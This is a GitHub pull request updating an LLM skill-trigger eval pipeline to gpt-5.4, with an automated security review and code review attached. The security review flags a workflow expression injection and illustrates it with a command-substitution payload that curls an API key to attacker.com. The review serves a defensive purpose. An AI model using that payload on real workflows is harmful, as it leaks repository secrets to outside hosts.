feat: replace gpt-4.1 with gpt-5.4 evals, add preflight checks

[stack72]

Summary

• Replace gpt-4.1 with gpt-5.4 in multi-model skill trigger eval pipeline (openai:gpt-5.4)
• Add preflight API check that makes a single API call before launching 202 eval requests — catches billing/credit issues immediately instead of retrying for hours
• Fix Gemini eval assertions to handle Google's functionCall response format (was causing 36% pass rate → 93% after fix)
• Fix critical security vulnerabilities (axios SSRF, basic-ftp command injection) in promptfoo dependencies via overrides
• Gitignore generated promptfooconfig.yaml — it's regenerated every eval run
• Add --allow-net to deno task for preflight fetch call

Local test results:

Model	Pass rate	Cost
gpt-5.4	97.5% (197/202)	$0.83
gemini-2.5-pro	93.1% (188/202)	$0.56

Test plan

• Verified preflight check catches missing/invalid API keys immediately
• Verified gpt-5.4 evals pass locally at 97.5% (above 90% threshold)
• Verified gemini-2.5-pro evals pass locally at 93.1% (above 90% threshold)
• Verified npm audit shows 0 vulnerabilities after overrides
• CI run on this branch should pass

🤖 Generated with Claude Code

[github-actions]

CI Security Review

Critical / High

None.

Medium

1. .github/workflows/multi-model-eval.yml:36 — Expression injection in workflow_dispatch input (pre-existing, not introduced by this PR)

   • MODELS="${{ github.event.inputs.models || 'all' }}" interpolates the models input directly into a run: block. A repo collaborator could supply a value like $(curl attacker.com/?k=$ANTHROPIC_API_KEY) via the workflow dispatch UI, and the shell would execute the command substitution.
   • Mitigating factor: workflow_dispatch can only be triggered by users with write access to the repository, who already have access to repo secrets. Practical exploitability is low.
   • Fix: Pass the input via an environment variable instead:

     env:
       MODELS_INPUT: ${{ github.event.inputs.models || 'all' }}
     run: |
       if [ "$MODELS_INPUT" = "all" ] || echo ",$MODELS_INPUT," | grep -q ",${{ matrix.model }},"; then

     (Note: matrix.model is safe since it comes from the hardcoded matrix definition.)

2. .github/workflows/multi-model-eval.yml:49 — denoland/setup-deno@v2 not pinned to SHA (pre-existing)

   • Per supply chain best practices, third-party actions should be pinned to a full commit SHA. A tag can be moved to point to different code.
   • Mitigating factor: denoland is the official Deno publisher and is generally trusted. The job only has contents: read permissions, limiting blast radius.

Low

None.

Verdict

PASS — The actual changes in this PR are security-neutral: updating a model name (gpt-4.1 → gpt-5.4), reducing concurrency, adding a preflight API check, adding functionCall response format handling in eval assertions, and gitignoring a generated config file. No new security issues are introduced. The two medium findings are pre-existing.

[github-actions]

Code Review

Blocking Issues

None.

Suggestions

1. Stale doc comment in generate_config.ts:28 — The usage comment still references gpt-4.1:

   * Supported model aliases: sonnet, opus, gpt-4.1, gemini-2.5-pro
   

   Should be updated to gpt-5.4.

2. Unscoped --allow-net in deno.json — The other tasks scope their network permissions (e.g., --allow-net=api.osv.dev). Since only the preflight fetch() call needs Deno network access (subprocesses like npm/npx bypass Deno permissions), this could be scoped to --allow-net=api.anthropic.com,api.openai.com,generativelanguage.googleapis.com for defense-in-depth. Low priority since this is a dev/CI-only task.

3. buildPreflightRequest is unit-testable — It's a pure function mapping model names to request configs. There's no existing test convention in scripts/, so this is just a nice-to-have observation for future hardening.

Overall

Clean PR. The preflight check with AbortSignal.timeout(15_000) is good practice and follows the project's "no fire-and-forget promises" convention. The Gemini functionCall?.name fix correctly handles Google's tool-call response format. Security dependency overrides for axios SSRF and basic-ftp command injection are appropriate. Removing the generated 3K-line YAML from version control and gitignoring it is good hygiene.